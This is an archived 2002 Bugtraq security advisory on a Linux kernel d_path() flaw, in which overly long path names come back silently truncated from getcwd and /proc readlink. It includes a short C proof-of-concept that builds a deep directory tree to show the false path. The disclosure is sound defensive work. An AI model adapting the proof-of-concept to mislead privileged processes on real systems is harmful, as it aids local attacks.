8202626 2002-03-26 14:40 +0100 /83 rader/ Wojciech Purczynski <cliph@isec.pl> Sänt av: joel@lysator.liu.se Importerad: 2002-03-26 22:38 av Brevbäraren Extern mottagare: bugtraq@securityfocus.com Extern mottagare: vulnwatch@vulnwatch.org Extern mottagare: linux-kernel@vger.kernel.org Extern kopiemottagare: security@isec.pl Externa svar till: security@isec.pl Mottagare: Bugtraq (import) <21589> Ärende: d_path() truncating excessive long path name vulnerability ------------------------------------------------------------ From: Wojciech Purczynski <cliph@isec.pl> To: bugtraq@securityfocus.com, <vulnwatch@vulnwatch.org>, <linux-kernel@vger.kernel.org> Cc: security@isec.pl Message-ID: <Pine.LNX.4.44.0203261416290.27066-200000@isec.pl> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Name: Linux kernel Version: up to 2.2.20 and 2.4.18 Homepage: http://www.kernel.org/ Author: Wojciech Purczynski <cliph@isec.pl> Date: March 26, 2002 Issue: ====== In case of excessively long path names d_path kernel internal function returns truncated trailing components of a path name instead of an error value. As this function is called by getcwd(2) system call and do_proc_readlink() function, false information may be returned to user-space processes. Description: ============ Linux is a clone of the operating system Unix, written from scratch by Linus Torvalds with assistance from a loosely-knit team of hackers across the Net. It aims towards POSIX and Single UNIX Specification compliance. Details: ======== d_path kernel function resolves a string of absolute path name of a dentry passed as an argument to the function. The path is a concatenation of subsequent path components starting from trailing path component. The concatenated path name is stored into a fixed-length buffer of PAGE_SIZE bytes. If a dentry points to a path that exceeds PAGE_SIZE - 1 characters length, leading path components are not written to the buffer and function returns truncated path without an error value. Because getcwd(2) system call uses d_path() function, it may return invalid path to the user-space process. However, if a returned path is longer than user-space buffer a correct error value is returned. readlink(2) system call called on proc filesystem uses do_proc_readlink() function which is also vulnerable to d_path() bug. Impact: ======= Privileged process may be tricked to think it is inside of arbitrary directory. Other scenarios are possible if readlink() is used on files on proc filesystem (like "/proc/self/exe"). PS: Please CC to security@isec.pl as I may not be subscribed to the list. - -- Wojciech Purczynski iSEC Security Research http://isec.pl/ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE8oHpKC+8U3Z5wpu4RAn6qAJ4seIO2xfXvrHmTMFQoMkGus23fJwCgjka7 ew84vFEFTO8lI7PQgEdyG0c= =sEfh -----END PGP SIGNATURE----- (8202626) /Wojciech Purczynski <cliph@isec.pl>/(Ombruten) Bilaga (text/plain) i text 8202627 8202627 2002-03-26 14:40 +0100 /62 rader/ Wojciech Purczynski <cliph@isec.pl> Bilagans filnamn: "dpathx.c" Importerad: 2002-03-26 22:38 av Brevbäraren Extern mottagare: bugtraq@securityfocus.com Extern mottagare: vulnwatch@vulnwatch.org Extern mottagare: linux-kernel@vger.kernel.org Extern kopiemottagare: security@isec.pl Externa svar till: security@isec.pl Mottagare: Bugtraq (import) <21590> Bilaga (text/plain) till text 8202626 Ärende: Bilaga (dpathx.c) till: d_path() truncating excessive long path name vulnerability ------------------------------------------------------------ /* * 2.2.x/2.4.x Linux kernel d_path proof-of-concept exploit * * Bug found by cliph */ #include <unistd.h> #include <stdio.h> #include <limits.h> #include <errno.h> #include <paths.h> /* * Note: on Linux 2.2.x PATH_MAX = PAGE_SIZE - 1 that gives us 1 byte for * trailing '\0' */ #define PATH_COMPONENT "123456789abcdef" void err(char * msg) { if (errno) { perror(msg); exit(1); } } int main() { char buf[PATH_MAX + 1]; /* think of trailing '\0' */ int len; errno = 0; chdir(_PATH_TMP); err("chdir"); /* show CWD before exploiting the bug */ getcwd(buf, sizeof(buf)); err("getcwd #1"); fprintf(stderr, "CWD=%.40s\n", buf); /* creating long directory tree - it must exceed PATH_MAX characters */ for (len = 0; len <= PATH_MAX; len += strlen(PATH_COMPONENT) + 1) { errno = 0; mkdir(PATH_COMPONENT, 0700); if (errno != EEXIST) err("mkdir"); errno = 0; chdir(PATH_COMPONENT); err("mkdir"); } /* show CWD before exploiting the bug */ getcwd(buf, sizeof(buf)); err("getcwd #1"); fprintf(stderr, "CWD=%.40s... [stripped]\n", buf); return 0; } (8202627) /Wojciech Purczynski <cliph@isec.pl>/-----